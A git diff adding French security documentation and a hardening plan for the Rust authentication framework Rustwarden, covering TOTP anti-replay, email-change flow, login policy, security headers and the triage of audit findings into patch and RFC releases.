| 260 | + db: &sea_orm::DatabaseConnection, | |
| 261 | + raw_login: &str, | |
| 262 | + email: String, | |
| 263 | + password_hash: String, | |
| 264 | +) -> Result<(), AppError> { | |
| 265 | + // Échoue tôt, avec un message exploitable, avant tout accès base. | |
| 266 | + let username = Username::parse(raw_login)?; | |
| 267 | + | |
| 268 | + UserService::create_user(db, username.into_inner(), email, password_hash, true).await?; | |
| 269 | + Ok(()) | |
| 270 | +} | |
| 271 | +``` | |
| 272 | + | |
| 273 | +Pour n'afficher qu'un message de validation côté formulaire : | |
| 274 | + | |
| 275 | +```rust | |
| 276 | +if let Err(e) = Username::parse(&form.username) { | |
| 277 | + return Ok(render_form_with_error(&e.to_string())); | |
| 278 | +} | |
| 279 | +``` | |
| 280 | + | |
| 281 | +Les candidats générés automatiquement par OAuth passent par `OAuthService::generate_unique_username`, qui produit déjà des valeurs conformes : minuscules `[a-z0-9]`, base tronquée à 30 caractères (marge pour les suffixes `-NNN` et `-<hex8>`), suffixe `-user` si la base tombe sur un nom réservé. | |
| 282 | + | |
| 283 | +--- | |
| 284 | + | |
| 200 | 285 | ## TOTP / 2FA |
| 201 | 286 | |
| 202 | 287 | ```mermaid |
@@ -244,11 +329,184 @@ L'algorithme TOTP utilisé est SHA1, 6 chiffres, période 30 secondes — confor
| 244 | 329 | |
| 245 | 330 | Référence : [`services/totp_service.rs`](../../crates/rustwarden-core/src/services/totp_service.rs) |
| 246 | 331 | |
| 332 | +### Plafonds de tentatives (1.0.1) | |
| 333 | + | |
| 334 | +| Contrôle | Valeur | Constante | | |
| 335 | +|---|---|---| | |
| 336 | +| Tentatives par challenge | 5 | `MAX_CHALLENGE_ATTEMPTS` | | |
| 337 | +| Somme des tentatives par utilisateur / 15 min | 15 | `MAX_ATTEMPTS_PER_WINDOW` | | |
| 338 | +| TTL d'un challenge | 5 min | `CHALLENGE_EXPIRY_MINUTES` | | |
| 339 | +| TTL de la garde anti-rejeu in-process | 90 s | `REPLAY_GUARD_TTL_SECS` | | |
| 340 | + | |
| 341 | +Le plafond global est vérifié à la **création** du challenge (`TotpService::create_challenge`) et compte la **somme** des tentatives sur tous les challenges de la fenêtre, et non le nombre de challenges saturés : créer un nouveau challenge ne remet pas le budget à zéro. Un dépassement renvoie `AppError::TotpMaxAttemptsExceeded`. | |
| 342 | + | |
| 343 | +### Anti-rejeu persistant — `last_used_step` (RFC 0037) | |
| 344 | + | |
| 345 | +Un code TOTP reste valide pendant toute sa fenêtre de 30 secondes, plus le skew ±1 accepté par `totp-rs`, soit ~90 secondes d'exploitabilité. En 1.0.1, la protection contre le rejeu était une `HashMap` in-process (`OnceLock`) : elle ne couvrait qu'**un seul processus**. Dans un déploiement multi-réplicas, un code intercepté et rejoué sur un autre réplica passait. | |
| 346 | + | |
| 347 | +La [RFC 0037](../rfcs/0037-totp-last-used-step.md) déplace l'autorité en base. La migration `m20260918_000010_totp_last_used_step` ajoute `user_totp.last_used_step BIGINT NULL`, et la consommation du pas se fait par **compare-and-set** : | |
| 348 | + | |
| 349 | +```mermaid | |
| 350 | +sequenceDiagram | |
| 351 | + participant R1 as Réplica 1 | |
| 352 | + participant R2 as Réplica 2 | |
| 353 | + participant DB as user_totp | |
| 354 | + | |
| 355 | + Note over R1,DB: Code "123456" valide pour le pas t | |
| 356 | + R1->>R1: matching_totp_step(secret, code) → Some(t) | |
| 357 | + R1->>DB: UPDATE ... SET last_used_step = t<br/>WHERE user_id = $id AND (last_used_step IS NULL OR last_used_step < t) | |
| 358 | + DB-->>R1: rows_affected = 1 → Ok(true) | |
| 359 | + | |
| 360 | + Note over R2,DB: Rejeu du même code sur un autre réplica | |
| 361 | + R2->>R2: matching_totp_step(secret, code) → Some(t) | |
| 362 | + R2->>DB: même UPDATE conditionnel | |
| 363 | + DB-->>R2: rows_affected = 0 → Ok(false) | |
| 364 | +``` | |
| 365 | + | |
| 366 | +Points importants : | |
| 367 | + | |
| 368 | +- le pas persisté est **celui qui a réellement matché** (`matching_totp_step`, qui rejoue `generate()` sur `t-1`, `t`, `t+1` après un `TOTP::check` constant-time), jamais `now / 30` — sinon un code accepté au skew `-1` n'aurait pas été consommé ; | |
| 369 | +- la condition `last_used_step IS NULL OR last_used_step < $step` est **strictement** croissante : le même pas ne peut pas être consommé deux fois ; | |
| 370 | +- un rejeu renvoie `Ok(false)`, exactement comme un code invalide. **Pas d'oracle de rejeu** : l'attaquant ne peut pas distinguer « déjà utilisé » de « faux » ; | |
| 371 | +- `verify_and_enable` (le code d'activation du 2FA) consomme lui aussi le pas, **avant** de basculer `enabled = true` : le code de setup ne peut pas servir de login immédiat sur un autre réplica ; | |
| 372 | +- une erreur base remonte en `AppError` — le garde ne **fail jamais open** ; | |
| 373 | +- la garde in-process de 1.0.1 est conservée **après** le CAS, en défense en profondeur ; | |
| 374 | +- `last_used_step IS NULL` signifie « aucun pas consommé depuis la migration » : le premier code présenté après migration est toujours accepté (grandfathering des lignes existantes). | |
| 375 | + | |
| 376 | +### Ce que l'anti-rejeu ne garantit PAS | |
| 377 | + | |
| 378 | +- **Il ne protège pas contre un MITM temps réel.** Un proxy de phishing type Evilginx intercepte le code et le rejoue lui-même **avant** l'utilisateur légitime : c'est la première consommation du pas, elle gagne le CAS. Le TOTP n'est pas phishing-resistant par construction ; seuls WebAuthn/FIDO2 le sont, et ils sont hors périmètre de Rustwarden aujourd'hui. | |
| 379 | +- **Il ne protège pas contre un secret TOTP compromis.** Qui détient le secret génère des codes pour les pas suivants. | |
| 380 | +- **Il ne protège pas le vol de session post-authentification.** Une fois le JWT émis, le TOTP n'intervient plus — voir blacklist JWT et rotation des refresh tokens. | |
| 381 | +- **Il ne couvre pas les codes de backup**, qui suivent leur propre cycle (consommés par suppression du hash bcrypt de la liste chiffrée). | |
| 382 | + | |
| 247 | 383 | --- |
| 248 | 384 | |
| 249 | -## CSP (Content Security Policy) | |
| 385 | +## Cycle de vie de l'e-mail vérifié | |
| 250 | 386 | |
| 251 | -La politique CSP est appliquée sur toutes les réponses HTML dans [`app.rs`](../../crates/rustwarden-core/src/app.rs#L737) : | |
| 387 | +Le flag `users.email_verified` (et son horodatage `email_verified_at`) conditionne l'**entrée** dans le compte — c'est-à-dire l'authentification, pas les sessions déjà ouvertes. Trois moments structurent son cycle de vie. | |
| 388 | + | |
| 389 | +```mermaid | |
| 390 | +stateDiagram-v2 | |
| 391 | + [*] --> NonVerifie : register (email_verified = false) | |
| 392 | + NonVerifie --> Verifie : clic sur le lien<br/>GET /api/v1/auth/verify-email/:token | |
| 393 | + Verifie --> Verifie : changement d'adresse confirmé<br/>EmailChangeService::confirm_change (RFC 0041)<br/>nouvelle adresse écrite DÉJÀ vérifiée | |
| 394 | + NonVerifie --> NonVerifie : POST /api/v1/auth/resend-verification<br/>(invalide les tokens précédents) | |
| 395 | + | |
| 396 | + note right of NonVerifie | |
| 397 | + Prochain login refusé si | |
| 398 | + validation_email_required = true | |
| 399 | + (défaut, fail-closed). | |
| 400 | + Session en cours NON révoquée. | |
| 401 | + end note | |
| 402 | + | |
| 403 | + note right of Verifie | |
| 404 | + RFC 0041 : un compte vérifié ne | |
| 405 | + redevient jamais non vérifié. | |
| 406 | + Tant que le lien n'est pas suivi, | |
| 407 | + rien ne change en base. | |
| 408 | + La confirmation révoque en revanche | |
| 409 | + TOUS les refresh tokens. | |
| 410 | + end note | |
| 411 | +``` | |
| 412 | + | |
| 413 | +### 1. Inscription | |
| 414 | + | |
| 415 | +`UserService::create_user` insère toujours `email_verified = false`. L'exception est le bootstrap : `ensure_default_admin` force `email_verified = true` sur l'administrateur par défaut, sinon le premier compte ne pourrait pas se connecter. | |
| 416 | + | |
| 417 | +### 2. Changement d'adresse (RFC 0041) | |
| 418 | + | |
| 419 | +Depuis la [RFC 0041](../rfcs/0041-pending-email-changes.md), `UserService::update_profile` **n'écrit plus jamais** `users.email` : un vrai changement renvoie une `AppError::Validation` qui renvoie vers `EmailChangeService`, un echo de l'adresse courante reste un no-op. Le changement réel est un flux **en deux temps**, et c'est la clé du modèle de menace : **tant que le lien envoyé à la nouvelle boîte n'est pas suivi, rien ne change en base**. | |
| 420 | + | |
| 421 | +| Étape | Comportement | | |
| 422 | +|---|---| | |
| 423 | +| 1. Demande | `EmailChangeService::request_change` re-authentifie avec le **mot de passe courant** — une session volée seule ne suffit pas à ouvrir une prise de contrôle. Valide format et unicité, consomme toute demande pendante du compte, écrit une ligne `pending_email_changes` (token SHA-256, `expires_at` = `email_validation_expiration_hours`). `users.email` et `email_verified` **ne bougent pas** | | |
| 424 | +| 1bis. Mails | **Deux** envois : lien de **confirmation** vers la **nouvelle** adresse, avis + lien de **signalement** vers l'**ancienne**. Pas best-effort : si la mise en file échoue, `request_change` échoue et **rien** n'est écrit | | |
| 425 | +| 2. Confirmation | Le `POST` de la page interstitielle écrit la nouvelle adresse **déjà vérifiée** (`email_verified = true`), **révoque tous les refresh tokens** du compte, invalide les demandes de changement de mot de passe pendantes, trace `audit_logs` `email_changed` | | |
| 426 | +| 2bis. Signalement | Le `POST` de la page de signalement marque la demande, trace en `audit_logs` (**WARN**) et alerte tous les administrateurs. Il ne **bloque pas** le changement | | |
| 427 | +| Limiteur | 3 demandes / heure / utilisateur (`email_change:{user_id}`, budget distinct) + budget IP sur `POST /api/v1/auth/email-change` | | |
| 428 | +| Logs | Adresses masquées (`mask_email` → `jo***@ex***`) dans les logs, l'audit, les hooks **et** le corps de réponse — aucune adresse complète en clair dans le trail SIEM | | |
| 429 | + | |
| 430 | +Le chemin **admin** n'est plus un effet de bord : `PUT /admin/users/:id` ne change plus l'adresse. Le recours opérateur est `EmailChangeService::admin_force_change`, qui exige le rôle `admin`, révoque les sessions de la cible, notifie les deux boîtes et trace `email_changed_by_admin` (WARN) + `on_audit_event`. Le hook `on_email_verified` n'est **pas** émis : il n'y a eu aucune preuve de possession. | |
| 431 | + | |
| 432 | +L'avis vers l'ancienne adresse reste le signal d'alarme du scénario « session volée, l'attaquant change l'e-mail pour verrouiller le compte » — et il porte désormais un **lien d'action**, pas seulement une information. | |
| 433 | + | |
| 434 | +#### Pourquoi le signalement n'annule pas le changement | |
| 435 | + | |
| 436 | +Le lien envoyé à l'ancienne adresse **alerte, il ne décide pas**. C'est délibéré : donner à cette boîte un pouvoir de veto reviendrait à donner ce veto à un attaquant qui la contrôle déjà, et à bloquer la reprise de contrôle légitime d'un utilisateur qui change d'adresse précisément parce qu'il a perdu l'accès à l'ancienne. Le signalement produit une ligne `audit_logs` WARN et un mail à tous les administrateurs : la décision de suspendre le compte est humaine et tracée. | |
| 437 | + | |
| 438 | +#### Pourquoi un `GET` ne confirme jamais rien | |
| 439 | + | |
| 440 | +Les deux liens envoyés par mail pointent sur un `GET` qui **rend une page** portant un formulaire ; c'est le `POST` du bouton qui agit. Les passerelles anti-phishing et les clients mail préchargent les liens : un `GET` qui agirait laisserait un scanner réécrire silencieusement l'identité de connexion d'un compte, ou réveiller tous les administrateurs pour rien. Ces pages sont du HTML minimal autoportant produit par le core — ni Askama, ni `rustwarden-ui`, ni JavaScript, ni ressource externe — donc montables en headless, et servies sur le canal machine (jamais derrière la couche CSRF, sans quoi elles seraient inutilisables depuis une boîte mail). | |
| 441 | + | |
| 442 | +#### Ce que le flux en deux temps ferme | |
| 443 | + | |
| 444 | +| Mode de panne | Statut | | |
| 445 | +|---|---| | |
| 446 | +| **Faute de frappe = lock-out** | **Fermé.** L'adresse candidate n'est jamais écrite : le lien part dans le vide, la demande expire, le compte n'a jamais bougé et reste vérifié sur son adresse d'origine | | |
| 447 | +| **Fenêtre « adresse changée, session toujours valide »** | **Fermée.** La confirmation révoque tous les refresh tokens du compte | | |
| 448 | +| **Couplage avec `validation_email_required`** | **Supprimé.** La nouvelle adresse est écrite déjà vérifiée : un changement d'adresse ne bloque jamais le login suivant | | |
| 449 | +| **Changement d'adresse par effet de bord d'une mise à jour de profil** | **Fermé.** Un seul chemin utilisateur, un seul chemin opérateur, tous deux audités | | |
| 450 | + | |
| 451 | +#### Risque résiduel : recours perdu et faute de frappe à l'inscription | |
| 452 | + | |
| 453 | +| | | | |
| 454 | +|---|---| | |
| 455 | +| **Recours perdu** | Un utilisateur qui a perdu **à la fois** son mot de passe et l'accès à son adresse courante ne peut plus se débloquer seul : `request_change` exige le mot de passe, et le reset de mot de passe passe par l'adresse stockée. C'est un recours administrateur (`admin_force_change`) après vérification d'identité **hors bande**. | | |
| 456 | +| **Faute de frappe à l'inscription** | Hors périmètre de la RFC 0041 : `register` écrit l'adresse saisie sans double vérification, et un compte jamais vérifié reste bloqué au login si `validation_email_required = true`. Même recours administrateur. | | |
| 457 | +| **Recommandation consommateur** | Ajouter une **double saisie** dans l'écran d'**inscription** (le seul où elle a encore une valeur), et documenter la procédure de vérification d'identité hors bande avant tout `admin_force_change`. | | |
| 458 | + | |
| 459 | +### 3. Où vit la politique de login (RFC 0040) | |
| 460 | + | |
| 461 | +Le contrôle « login refusé si l'e-mail n'est pas vérifié » vit dans **`AuthService::authenticate_user`**, pas dans le handler HTTP. C'est le changement de la [RFC 0040](../rfcs/0040-authenticate-user-email-verified.md) : tant que le contrôle vivait dans `POST /api/v1/auth/login`, une application consommatrice avec son propre SSR pouvait appeler le service et contourner la politique sans s'en rendre compte. | |
| 462 | + | |
| 463 | +| Fonction | Contrôle e-mail | Usage attendu | | |
| 464 | +|---|---|---| | |
| 465 | +| `AuthService::authenticate_user` | **Oui** | Porte d'authentification complète — à utiliser par défaut | | |
| 466 | +| `AuthService::verify_credentials` | Non | Primitive « mot de passe seul » : re-prompt avant setup TOTP, ré-authentification sensible | | |
| 467 | + | |
| 468 | +Détails du contrôle : | |
| 469 | + | |
| 470 | +- réglage `validation_email_required`, alias legacy `validation_email_requise`, lu via `AppSettingsService::get_bool_with_fallback` ; | |
| 471 | +- défaut `true` et **fail-closed** : une erreur de lookup en base vaut « vérification requise » (`unwrap_or(true)`) ; | |
| 472 | +- il s'exécute **après** la vérification du mot de passe : un attaquant ne peut pas utiliser le message d'erreur comme oracle d'existence de compte ; | |
| 473 | +- le rejet est un `AppError::Validation` (HTTP 400) portant un message français destiné à l'utilisateur final. | |
| 474 | + | |
| 475 | +```rust | |
| 476 | +use rustwarden_core::services::auth_service::AuthService; | |
| 477 | +use rustwarden_core::error::AppError; | |
| 478 | + | |
| 479 | +// SSR maison : la politique s'applique, sans code supplémentaire. | |
| 480 | +match AuthService::authenticate_user(&db, &form.username, &form.password).await { | |
| 481 | + Ok(user) => issue_session(user).await, | |
| 482 | + // Message déjà rédigé pour l'utilisateur ; proposer « renvoyer l'email ». | |
| 483 | + Err(AppError::Validation(msg)) => render_login_with_error(&msg, /* show_resend = */ true), | |
| 484 | + Err(AppError::InvalidCredentials) => render_login_with_error("Identifiants invalides.", false), | |
| 485 | + Err(e) => Err(e), | |
| 486 | +} | |
| 487 | +``` | |
| 488 | + | |
| 489 | +**Limite documentée (décision v1)** : sur ce chemin, `AuthLoggingService::log_blocked_login` est appelé avec `hooks = None`. La ligne `audit_logs` (`action = "login_blocked"`) est toujours écrite, mais le hook `RustwardenHooks::on_audit_event` / `auth.login_blocked` **n'est plus émis**. Une alerte branchée sur ce hook doit basculer sur la table `audit_logs`. | |
| 490 | + | |
| 491 | +--- | |
| 492 | + | |
| 493 | +## En-têtes de sécurité (CSP, COOP, CORP) | |
| 494 | + | |
| 495 | +Le middleware `security_headers_middleware` ([`app.rs`](../../crates/rustwarden-core/src/app.rs)) pose les en-têtes de sécurité sur **toutes** les réponses. Depuis la [RFC 0039](../rfcs/0039-security-headers-config.md), une partie est configurable via [`SecurityHeadersConfig`](../../crates/rustwarden-core/src/config/security_headers.rs). | |
| 496 | + | |
| 497 | +| En-tête | Configurable | Valeur par défaut | | |
| 498 | +|---|---|---| | |
| 499 | +| `Content-Security-Policy` | **Oui** | voir ci-dessous | | |
| 500 | +| `Cross-Origin-Opener-Policy` | **Oui**, opt-in | non émis (`None`) | | |
| 501 | +| `Cross-Origin-Resource-Policy` | **Oui**, opt-in | non émis (`None`) | | |
| 502 | +| `X-Content-Type-Options` | Non | `nosniff` | | |
| 503 | +| `X-Frame-Options` | Non | `DENY` | | |
| 504 | +| `X-XSS-Protection` | Non | `0` (auditeur legacy désactivé — il introduisait ses propres failles) | | |
| 505 | +| `Referrer-Policy` | Non | `strict-origin-when-cross-origin` | | |
| 506 | +| `Permissions-Policy` | Non | `camera=(), microphone=(), geolocation=()` | | |
| 507 | +| `Strict-Transport-Security` | Non | `max-age=31536000; includeSubDomains`, sauf si `APP_DEBUG=true` | | |
| 508 | + | |
| 509 | +### CSP par défaut | |
| 252 | 510 | |
| 253 | 511 | ``` |
| 254 | 512 | default-src 'self'; |
@@ -262,11 +520,44 @@ base-uri 'self';
| 262 | 520 | form-action 'self' |
| 263 | 521 | ``` |
| 264 | 522 | |
| 265 | -**Point d'attention** : la politique autorise actuellement `'unsafe-inline'` et `'unsafe-eval'` sur les scripts et les styles. Cela est dû à l'utilisation de HTMX et Alpine.js côté client. Ces directives affaiblissent significativement la protection XSS. La roadmap V2 prévoit leur suppression via une nonce-based CSP ou un hash-based CSP. | |
| 523 | +**Point d'attention, toujours d'actualité** : la politique par défaut autorise `'unsafe-inline'` et `'unsafe-eval'`. `'unsafe-eval'` est requis par la build standard d'Alpine.js (qui évalue ses expressions `x-*`), `'unsafe-inline'` par HTMX et les scripts inline des templates. Ces directives affaiblissent significativement la protection XSS. | |
| 524 | + | |
| 525 | +La RFC 0039 n'a **pas** durci ce défaut : elle n'ajoute qu'une API. Le défaut de 1.1.0 est **bit-identique** à celui de 1.0.1 — un test de non-dérive (`default_csp_matches_the_historical_literal`) le verrouille. La constante `CSP_WITHOUT_UNSAFE_EVAL` est exposée mais **non utilisée** par `Default` : la bascule est une **Phase 2**, conditionnée à la migration vers la build Alpine CSP ([`plans/PLAN_CSP_HTMX.md`](../plans/PLAN_CSP_HTMX.md)). | |
| 526 | + | |
| 527 | +Autrement dit : un consommateur qui n'appelle jamais `.security_headers(..)` n'obtient **aucune amélioration automatique** de sa CSP — et aucune régression non plus. | |
| 528 | + | |
| 529 | +### Configurer les en-têtes | |
| 530 | + | |
| 531 | +```rust | |
| 532 | +use rustwarden_core::prelude::*; // RustwardenApp, SecurityHeadersConfig | |
| 533 | + | |
| 534 | +let app = RustwardenApp::builder() | |
| 535 | + .from_env() | |
| 536 | + .security_headers( | |
| 537 | + SecurityHeadersConfig { | |
| 538 | + // App headless ou UI maison sans Alpine : on peut durcir. | |
| 539 | + content_security_policy: | |
| 540 | + "default-src 'self'; script-src 'self'; style-src 'self'; \ | |
| 541 | + img-src 'self' data:; frame-ancestors 'none'; base-uri 'self'; \ | |
| 542 | + form-action 'self'" | |
| 543 | + .into(), | |
| 544 | + ..SecurityHeadersConfig::default() | |
| 545 | + } | |
| 546 | + // Équivaut à COOP: same-origin + CORP: same-origin. | |
| 547 | + .with_same_origin_isolation(), | |
| 548 | + ) | |
| 549 | + .build() | |
| 550 | + .await?; | |
| 551 | +``` | |
| 552 | + | |
| 553 | +Détails d'implémentation utiles à connaître : | |
| 266 | 554 | |
| 267 | -Le header `frame-ancestors 'none'` empêche le clickjacking en refusant l'intégration dans des iframes depuis n'importe quel domaine. | |
| 555 | +- la config est capturée dans un `Arc` **à la construction du layer**, pas lue depuis une `Extension`. Le layer d'en-têtes est plus externe que les `Extension(...)` : au moment où la requête le traverse, les extensions ne sont pas encore posées ; | |
| 556 | +- une CSP syntaxiquement invalide (caractères de contrôle) ne panique pas : elle est remplacée par le défaut avec un `warn!` ; | |
| 557 | +- une valeur COOP/CORP invalide fait **sauter l'en-tête** avec un `warn!`, sans casser la réponse ; | |
| 558 | +- `frame-ancestors 'none'` + `X-Frame-Options: DENY` couvrent le clickjacking sur les navigateurs modernes comme legacy. | |
| 268 | 559 | |
| 269 | -Le header HSTS (`Strict-Transport-Security: max-age=31536000; includeSubDomains`) est activé automatiquement sauf si `APP_DEBUG=true` — ce qui permet de développer en HTTP local sans erreur. | |
| 560 | +Avant d'activer `with_same_origin_isolation()`, vérifier qu'aucune intégration cross-origin (iframe, CDN d'assets, widget tiers) n'en dépend. | |
| 270 | 561 | |
| 271 | 562 | --- |
| 272 | 563 |
A
docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md
+1131
-0
@@ -0,0 +1,1131 @@
| 1 | +# Sécurisation upstream Rustwarden — audit Gitrust 2026-09-17 | |
| 2 | + | |
| 3 | +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. | |
| 4 | + | |
| 5 | +**Goal:** Fermer, dans le dépôt framework Rustwarden, tous les constats d’audit qui relèvent de `rustwarden-core` / `rustwarden-ui` / CLI / `database/`, sans toucher à la logique métier forge (Gitrust). | |
| 6 | + | |
| 7 | +**Architecture:** Deux trains distincts. (1) **Patch Security `1.0.1`** : bugs internes, listes de hardening, bumps de deps — aucune RFC, **aucun nouvel item `pub` nommé**, release patch. Inclut un garde anti-rejeu TOTP *in-process* (ferme le Scénario D sans migration). (2) **RFCs 0036–0040** puis implémentation : politique de sécurité, schéma DB, comportement par défaut, persistance multi-instance. Les workarounds Gitrust restent valides jusqu’à `update-project`. | |
| 8 | + | |
| 9 | +**Tech Stack:** Axum 0.8, SeaORM 2.0, bcrypt, totp-rs 5, tower-http, Askama/HTMX/Alpine (CSP), `RateLimitService` in-process. | |
| 10 | + | |
| 11 | +**Sources :** [docs/SECURITY_AUDIT.md](../SECURITY_AUDIT.md), [docs/remediation_audit_securite_ad2eec33.plan.md](../remediation_audit_securite_ad2eec33.plan.md), [docs/UPSTREAM_RUSTWARDEN copy.md](../UPSTREAM_RUSTWARDEN%20copy.md) § catalogue 2026-09-17, [docs/RUSTWARDEN_EVOLUTION_PROCESS.md](../RUSTWARDEN_EVOLUTION_PROCESS.md) §2 / §9 / §11.3. | |
| 12 | + | |
| 13 | +**Vérifié sur le code actuel (2026-09-17)** — pas seulement sur l’audit Gitrust. Plusieurs constats Gitrust sont déjà fermés côté UI de référence (`login.html` appelle `POST /api/v1/auth/login`) ; d’autres gaps *non listés* dans le catalogue Gitrust sont confirmés ici (fail-open `force_2fa`, placeholder CLI). | |
| 14 | + | |
| 15 | +--- | |
| 16 | + | |
| 17 | +## RALPLAN-DR (mode délibéré) | |
| 18 | + | |
| 19 | +### Principles | |
| 20 | + | |
| 21 | +1. **Frontière dépôt** : ce plan ne corrige que Rustwarden. C-1 (`sh -c`), C-3 (`merge_pull`), XSS templates forge, russh, CI, nginx Gitrust restent dans Gitrust. | |
| 22 | +2. **Processus §2** : bug interne / bump patch → PR Security. Item `pub`, défaut, migration, politique de sécu → RFC (grille ≥ 25/35) avant le code. | |
| 23 | +3. **Fail-closed** : une erreur d’infra (DB, crypto) ne doit jamais *accorder* un droit (2FA, email vérifié, JWT). | |
| 24 | +4. **Dog-fooding** : les gardes vivent dans les *services*, pas seulement dans les handlers API. Un consommateur qui appelle `UserService` / `AuthService` / `PasswordResetService` hérite de la politique. | |
| 25 | +5. **Non-régression UI** : ne pas retirer `'unsafe-inline'` de la CSP par défaut tant que Alpine CSP n’est pas migré (`docs/plans/PLAN_CSP_HTMX.md`). | |
| 26 | + | |
| 27 | +### Decision Drivers | |
| 28 | + | |
| 29 | +1. **Fermer le Scénario D (2FA)** pour tous les consommateurs, pas seulement Gitrust. | |
| 30 | +2. **Empêcher un déploiement « selon le wizard »** avec secret JWT public (C-7). | |
| 31 | +3. **Ne pas casser les usernames / templates existants** des apps déjà en prod (grandfathering + API additive). | |
| 32 | + | |
| 33 | +### Viable Options | |
| 34 | + | |
| 35 | +**Option A (retenue, synthétisée après revue Architect) — patch Security immédiat qui ferme déjà le Scénario D, puis RFCs.** Un PR `1.0.1` livrable en jours, adoption 14 jours. Le plafond d’essais TOTP + un cache in-process `(user_id, step)` 90 s ferment le brute-force et le rejeu *sur une instance*. La RFC 0037 n’ouvre plus un chantier urgent : elle **persiste** cette garantie en multi-instance. Username, email, CSP restent en RFC. | |
| 36 | + | |
| 37 | +- Pros : Scénario D fermé en 1.0.1 sans migration ; respect du §2 ; Gitrust peut `update-project` tout de suite. | |
| 38 | +- Cons : deux trains de release ; anti-rejeu in-process inopérant en multi-réplica jusqu’à 0037. | |
| 39 | +- **Non-goal explicite :** un relais Evilginx *live* (le code n’est présenté qu’une fois au serveur) n’est arrêté ni par 1.0.1 ni par 0037. Decision Driver 1 = brute-force + rejeu du *même* OTP, pas le MITM interactif. | |
| 40 | + | |
| 41 | +**Option B — une mega-RFC unique « hardening 2026-09 ».** Tous les changements (y compris bugs) derrière une RFC. | |
| 42 | + | |
| 43 | +- Pros : un seul document de décision. | |
| 44 | +- Cons : retarde E-3 / C-7 / M-3 de semaines ; mélange bugs et politique ; score grille dilué. | |
| 45 | + | |
| 46 | +**Option C — ne rien changer au framework, documenter les workarounds.** | |
| 47 | + | |
| 48 | +- Pros : zéro risque de breaking. | |
| 49 | +- Cons : chaque app réimplémente TOTP / JWT / rate-limit ; divergence garantie ; l’audit reviendra. | |
| 50 | + | |
| 51 | +**Invalidation B et C :** B viole §2 (« pas de RFC pour un bug sans changement d’API ») et laisse le Scénario D ouvert. C viole le rôle même du framework (politique de sécu centralisée). | |
| 52 | + | |
| 53 | +--- | |
| 54 | + | |
| 55 | +## Périmètre | |
| 56 | + | |
| 57 | +### Dans ce dépôt (ce plan) | |
| 58 | + | |
| 59 | +| ID audit | Nature | Train | | |
| 60 | +|----------|--------|-------| | |
| 61 | +| *(découvert Architect)* | `check_auth_rate_limit` clé `auth:unknown` : pas de `ConnectInfo`, `TRUSTED_PROXY_HOPS=0` ignore XFF | Patch (prérequis Task 3) | | |
| 62 | +| E-3 | Anti-brute-force TOTP compte les challenges saturés, pas les essais | Patch | | |
| 63 | +| *(synthèse D)* | Rejeu TOTP in-process (90 s, `OnceLock`) sans colonne DB | Patch | | |
| 64 | +| C-7 | Placeholder `JWT_SECRET=REMPLACER_…` (36 car.) passe `KNOWN_EXAMPLES` + wizard CLI | Patch | | |
| 65 | +| M-3 | `RateLimitService` recréé à chaque `PasswordResetService::new` / `EmailValidationService::new` | Patch | | |
| 66 | +| M-8 | `bcrypt::verify` synchrone sur backup codes | Patch | | |
| 67 | +| M-2 | `PasswordResetService::reset_password` n’appelle pas `validate_password_complexity` | Patch | | |
| 68 | +| E-12 collatéral | `bcrypt 0.19.0`, `rustls 0.23.37`, `h2 0.4.13` | Patch | | |
| 69 | +| *(découvert)* | `is_totp_enabled(...).unwrap_or(false)` dans le middleware force-2FA | Patch | | |
| 70 | +| *(découvert)* | `POST /api/v1/auth/2fa/verify` sans `check_auth_rate_limit` | Patch | | |
| 71 | +| *(découvert)* | `ensure_default_admin` n’appelle ni `AdminConfig::validate` ni la complexité | Patch | | |
| 72 | +| *(découvert)* | `sanitize_redirect` n’normalise pas `\` | Patch | | |
| 73 | +| E-18 analogue | PG `0.0.0.0:5432` + `POSTGRES_PASSWORD:-pass3ord` | Patch ops | | |
| 74 | +| M-1 | Username = longueur seulement | RFC 0036 | | |
| 75 | +| M-7 | Pas de `last_used_step` TOTP | RFC 0037 | | |
| 76 | +| M-5 | Changement d’email conserve `email_verified` | RFC 0038 | | |
| 77 | +| M-10 + F-UI | CSP `unsafe-inline`/`unsafe-eval` ; pas de COOP/CORP | RFC 0039 | | |
| 78 | +| E-4 | `AuthService::authenticate_user` ignore `validation_email_required` | RFC 0040 | | |
| 79 | + | |
| 80 | +### Hors périmètre (Gitrust / ops forge) | |
| 81 | + | |
| 82 | +C-1, C-2, C-3, C-4, C-5, C-6, C-8, E-1 (handler SSR Gitrust), E-5, E-6, E-7, E-8, E-9, E-10, E-11, E-12 russh, E-13, E-14, E-15, E-16, E-17, E-19, M-4, M-6 (logout SSR Gitrust — **déjà OK** dans rustwarden-ui via `POST /api/v1/auth/logout`), M-9, M-11 (handler Gitrust), M-12–M-25, lots 5–6 deploy Gitrust. | |
| 83 | + | |
| 84 | +**E-2** : dans *ce* dépôt, `crates/rustwarden-ui/templates/login.html` appelle déjà `POST /api/v1/auth/login` (rate-limite IP). Le gap E-2 ne concerne que les consommateurs qui ont un `POST /login` SSR maison (Gitrust). Pas de RFC dédiée : documenter le contrat « le limiteur vit sur `/api/v1/auth/*` » dans RFC 0040. | |
| 85 | + | |
| 86 | +--- | |
| 87 | + | |
| 88 | +## Cartographie fichiers | |
| 89 | + | |
| 90 | +### Patch Security (`1.0.1`) | |
| 91 | + | |
| 92 | +| Fichier | Responsabilité | | |
| 93 | +|---------|----------------| | |
| 94 | +| `crates/rustwarden-core/src/app.rs` | `into_make_service_with_connect_info` dans `run()` | | |
| 95 | +| `crates/rustwarden-core/src/auth/routes.rs` | Layer `pub(crate)` rate-limit IP sur les POST auth sensibles | | |
| 96 | +| `crates/rustwarden-core/src/config/auth.rs` | `KNOWN_EXAMPLES` (égalité exacte + placeholder CLI) | | |
| 97 | +| `crates/rustwarden-core/src/services/totp_service.rs` | Somme des `attempts` 15 min ; replay in-process ; `spawn_blocking` backup | | |
| 98 | +| `crates/rustwarden-core/src/middleware/auth_service.rs` | Fail-closed force-2FA / user lookup / blacklist ; `sanitize_redirect` `\` | | |
| 99 | +| `crates/rustwarden-core/src/services/password_reset_service.rs` | Limiteur `OnceLock` + éviction cap ; complexité dans `reset_password` | | |
| 100 | +| `crates/rustwarden-core/src/services/email_validation_service.rs` | Même `OnceLock` (ou jumelle) | | |
| 101 | +| `crates/rustwarden-core/src/services/default_admin_service.rs` | `validate()` + `PasswordRules` | | |
